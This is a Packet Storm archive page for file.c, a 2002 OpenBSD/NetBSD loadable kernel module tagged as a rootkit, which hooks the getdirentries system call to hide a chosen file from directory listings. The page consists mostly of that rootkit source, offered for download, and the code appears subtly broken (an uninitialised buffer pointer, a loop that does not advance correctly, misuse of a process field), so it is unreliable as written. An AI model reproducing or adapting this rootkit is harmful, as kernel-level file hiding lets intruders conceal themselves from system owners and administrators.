what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

file.c

file.c
Posted Jan 5, 2003
Authored by George Dissios | Site frapes.org

OpenBSD and NetBSD LKM which hides files by patching getdirentries().

tags | tool, rootkit
systems | netbsd, unix, openbsd
SHA-256 | 281adc79edc85e83c7b2c663fcc68dfbea7fdb717f4948665d758518e709e6bf

file.c

Change Mirror Download
/* OpenBSD (should work also on NetBSD) LKM hiding file using getdirentries */
/* systemcall! */
/* 2002 by gr33k gr33k@frapes.org www.frapes.org www.gm.fh-koeln.de/~ai604 */

#define DONT_PERMIT
#include <sys/param.h>
#include <sys/systm.h>
#include <sys/syscall.h>
#include <sys/mount.h>
#include <sys/conf.h>
#include <sys/syscallargs.h>
#include <sys/exec.h>
#include <sys/lkm.h>
#include <sys/file.h>
#include <sys/filedesc.h>
#include <sys/errno.h>
#include <sys/dirent.h>
#include <sys/proc.h>
#include <sys/syslog.h>
#include <sys/malloc.h>

int my_getdirentries __P((struct proc *, void *, register_t *));
MOD_MISC("HideFile");

static int
HideFile_load(struct lkm_table *lkmtp,int cmd)
{
if(cmd==LKM_E_LOAD)
{
sysent[SYS_getdirentries].sy_call=my_getdirentries;
}
return 0;
}

static int
HideFile_unload(struct lkm_table *lkmtp,int cmd)
{
if(cmd==LKM_E_UNLOAD)
{
sysent[SYS_getdirentries].sy_call=sys_getdirentries;
}
return 0;
}

HideFile(lkmtp,cmd,ver)
struct lkm_table *lkmtp;
int cmd;
int ver;
{
DISPATCH(lkmtp,cmd,ver,HideFile_load,HideFile_unload,lkm_nofunc);
}

int
my_getdirentries(p,v,retval)
struct proc *p;
void *v;
register_t *retval;
{
register struct sys_getdirentries_args *uap=v;
unsigned int tmp,n,t;
struct dirent *dirp2,*dirp3;
char hide[]="top-secret"; /* Edit filename */

getdirentries(p,uap);
tmp=p->p_dupfd;
if(tmp>0)
{
copyin(&(uap->buf),dirp2,tmp);
dirp3=dirp2;
t=tmp;
while(t>0)
{
n=dirp3->d_reclen;
t-=n;
if(strcmp((char*)&(dirp3->d_name), (char*)&hide)==0)
{
if(t!=0)
bcopy((char*)dirp3+n,(char*)dirp3,t);
}
tmp-=n;
}
if(dirp3->d_reclen==0)
t=0;
if(t!=0)
dirp3=(struct dirent*)((char*)dirp3+dirp3->d_reclen);
}
p->p_dupfd=tmp;
copyout(dirp2,&(uap->buf),tmp);
return (0);
}
Login or Register to add favorites

File Archive:

June 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    19 Files
  • 2
    Jun 2nd
    16 Files
  • 3
    Jun 3rd
    28 Files
  • 4
    Jun 4th
    0 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    19 Files
  • 7
    Jun 7th
    23 Files
  • 8
    Jun 8th
    11 Files
  • 9
    Jun 9th
    10 Files
  • 10
    Jun 10th
    4 Files
  • 11
    Jun 11th
    0 Files
  • 12
    Jun 12th
    0 Files
  • 13
    Jun 13th
    0 Files
  • 14
    Jun 14th
    0 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    27 Files
  • 20
    Jun 20th
    65 Files
  • 21
    Jun 21st
    10 Files
  • 22
    Jun 22nd
    8 Files
  • 23
    Jun 23rd
    6 Files
  • 24
    Jun 24th
    6 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    15 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close